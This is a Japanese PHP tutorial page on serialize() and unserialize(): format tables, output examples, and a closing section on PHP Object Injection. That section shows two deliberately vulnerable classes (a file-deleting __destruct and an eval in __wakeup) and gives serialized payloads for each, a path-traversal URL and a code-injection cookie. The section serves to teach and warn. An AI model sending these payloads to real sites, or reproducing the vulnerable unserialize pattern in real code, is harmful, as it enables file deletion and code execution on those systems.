PHP
シリアライゼーション
サーチ…
構文
- 文字列のシリアライズ(mixed $ value)
パラメーター
パラメータ | 詳細 |
---|---|
値 | 直列化される値。 serialize()は、 リソース型以外のすべての型を処理します。自分自身への参照を含む配列を直列化することもできます。シリアル化している配列/オブジェクト内の循環参照も格納されます。それ以外の参照は失われます。オブジェクトを直列化するとき、PHPは直列化の前にメンバー関数__sleep()を呼び出そうとします。これは、オブジェクトがシリアル化される前に最後のクリーンアップなどを実行できるようにするためです。同様に、 unserialize()を使用してオブジェクトを復元すると、 __wakeup()メンバ関数が呼び出されます。オブジェクトのプライベートメンバーは、メンバー名の前にクラス名が付いています。保護されたメンバーにはメンバー名の前に「*」が付いています。これらのプリペンドされた値は、いずれかの側にヌルバイトを持ちます。 |
備考
シリアライズでは、
[..]
はプレースホルダーです。
タイプ | 構造 |
---|---|
文字列 | s:[size of string]:[value] |
整数 | i:[value] |
ダブル | d:[value] |
ブール | b:[value (true = 1 and false = 0)] |
ヌル | N |
オブジェクト | O:[object name size]:[object name]:[object size]:{[property name string definition]:[property value definition];(repeated for each property)} |
アレイ | a:[size of array]:{[key definition];[value definition];(repeated for each key value pair)} |
異なる型の直列化
値の格納可能な表現を生成します。
これは、PHPの値を型や構造を失うことなく格納または渡す際に便利です。
シリアライズされた文字列を再びPHP値にするには、 unserialize()を使用します。
文字列のシリアライズ
$string = "Hello world";
echo serialize($string);
// Output:
// s:11:"Hello world";
ダブルシリアライズ
$double = 1.5;
echo serialize($double);
// Output:
// d:1.5;
フロートのシリアライズ
フロートは、倍精度としてシリアル化されます。
整数のシリアライズ
$integer = 65;
echo serialize($integer);
// Output:
// i:65;
ブール値をシリアライズする
$boolean = true;
echo serialize($boolean);
// Output:
// b:1;
$boolean = false;
echo serialize($boolean);
// Output:
// b:0;
nullを直列化しています
$null = null;
echo serialize($null);
// Output:
// N;
配列のシリアライズ
$array = array(
25,
'String',
'Array'=> ['Multi Dimension','Array'],
'boolean'=> true,
'Object'=>$obj, // $obj from above Example
null,
3.445
);
// This will throw Fatal Error
// $array['function'] = function() { return "function"; };
echo serialize($array);
// Output:
// a:7:{i:0;i:25;i:1;s:6:"String";s:5:"Array";a:2:{i:0;s:15:"Multi Dimension";i:1;s:5:"Array";}s:7:"boolean";b:1;s:6:"Object";O:3:"abc":1:{s:1:"i";i:1;}i:2;N;i:3;d:3.4449999999999998;}
オブジェクトのシリアライズ
オブジェクトをシリアライズすることもできます。
オブジェクトを直列化するとき、PHPは直列化の前にメンバー関数__sleep()を呼び出そうとします。これは、オブジェクトがシリアル化される前に最後のクリーンアップなどを実行できるようにするためです。同様に、 unserialize()を使用してオブジェクトを復元すると、 __wakeup()メンバ関数が呼び出されます。
class abc {
var $i = 1;
function foo() {
return 'hello world';
}
}
$object = new abc();
echo serialize($object);
// Output:
// O:3:"abc":1:{s:1:"i";i:1;}
Closureを直列化できないことに注意してください。
$function = function () { echo 'Hello World!'; };
$function(); // prints "hello!"
$serializedResult = serialize($function); // Fatal error: Uncaught exception 'Exception' with message 'Serialization of 'Closure' is not allowed'
非直列化によるセキュリティ問題
unserialize
関数を使用してユーザー入力からデータを直列化解除すると危険です。
php.netからの警告
Warning信頼できないユーザ入力をunserialize()に渡さないでください。非直列化により、オブジェクトのインスタンス化とオートローディングのためにコードがロードされ実行され、悪意のあるユーザーがこれを利用する可能性があります。シリアル化されたデータをユーザーに渡す必要がある場合は、JSON(json_decode()およびjson_encode()を介して)などの安全な標準データ交換フォーマットを使用してください。
考えられる攻撃
- PHPオブジェクト注入
PHPオブジェクト注入
PHP Object Injectionは、アプリケーションレベルの脆弱性で、攻撃者が状況に応じてコードインジェクション、SQLインジェクション、パストラバーサル、アプリケーションサービス拒否などのさまざまな種類の悪意のある攻撃を実行する可能性があります。この脆弱性は、unserialize()PHP関数に渡される前にユーザーが入力した情報が適切に消されていない場合に発生します。 PHPはオブジェクトの直列化を可能にするので、攻撃者は偶発的なシリアル化された文字列を脆弱なunserialize()呼び出しに渡し、アプリケーションスコープに任意のPHPオブジェクトを注入する可能性があります。
PHP Object Injectionの脆弱性を悪用するには、次の2つの条件を満たす必要があります。
- アプリケーションには、悪意のある攻撃を実行したり、 "POPチェーン"を開始するために使用できるPHPマジックメソッド(
__wakeup
や__destruct
)を実装するクラスが必要です。 - 脆弱性のある
unserialize()
が呼び出されたときに、攻撃中に使用されたすべてのクラスを宣言する必要があります。それ以外の場合は、オブジェクトの自動ロードをサポートする必要があります。
例1 - パストラバーサル攻撃
以下の例は、 __destruct
メソッドを持つPHPクラスを示しています。
class Example1
{
public $cache_file;
function __construct()
{
// some PHP code...
}
function __destruct()
{
$file = "/var/www/cache/tmp/{$this->cache_file}";
if (file_exists($file)) @unlink($file);
}
}
// some PHP code...
$user_data = unserialize($_GET['data']);
// some PHP code...
この例では、攻撃者はパストラバーサル攻撃によって任意のファイルを削除することができます。たとえば、次のURLを要求します。
http://testsite.com/vuln.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../index.php";}
例2 - コード注入攻撃
以下の例は、攻撃可能な__wakeupメソッドを持つPHPクラスを示しています。
class Example2
{
private $hook;
function __construct()
{
// some PHP code...
}
function __wakeup()
{
if (isset($this->hook)) eval($this->hook);
}
}
// some PHP code...
$user_data = unserialize($_COOKIE['data']);
// some PHP code...
この例では、攻撃者は以下のようにHTTP要求を送信してコードインジェクション攻撃を行うことができます。
GET /vuln.php HTTP/1.0
Host: testsite.com
Cookie: data=O%3A8%3A%22Example2%22%3A1%3A%7Bs%3A14%3A%22%00Example2%00hook%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D
Connection: close
cookieパラメータ "data"が次のスクリプトによって生成された場所:
class Example2
{
private $hook = "phpinfo();";
}
print urlencode(serialize(new Example2));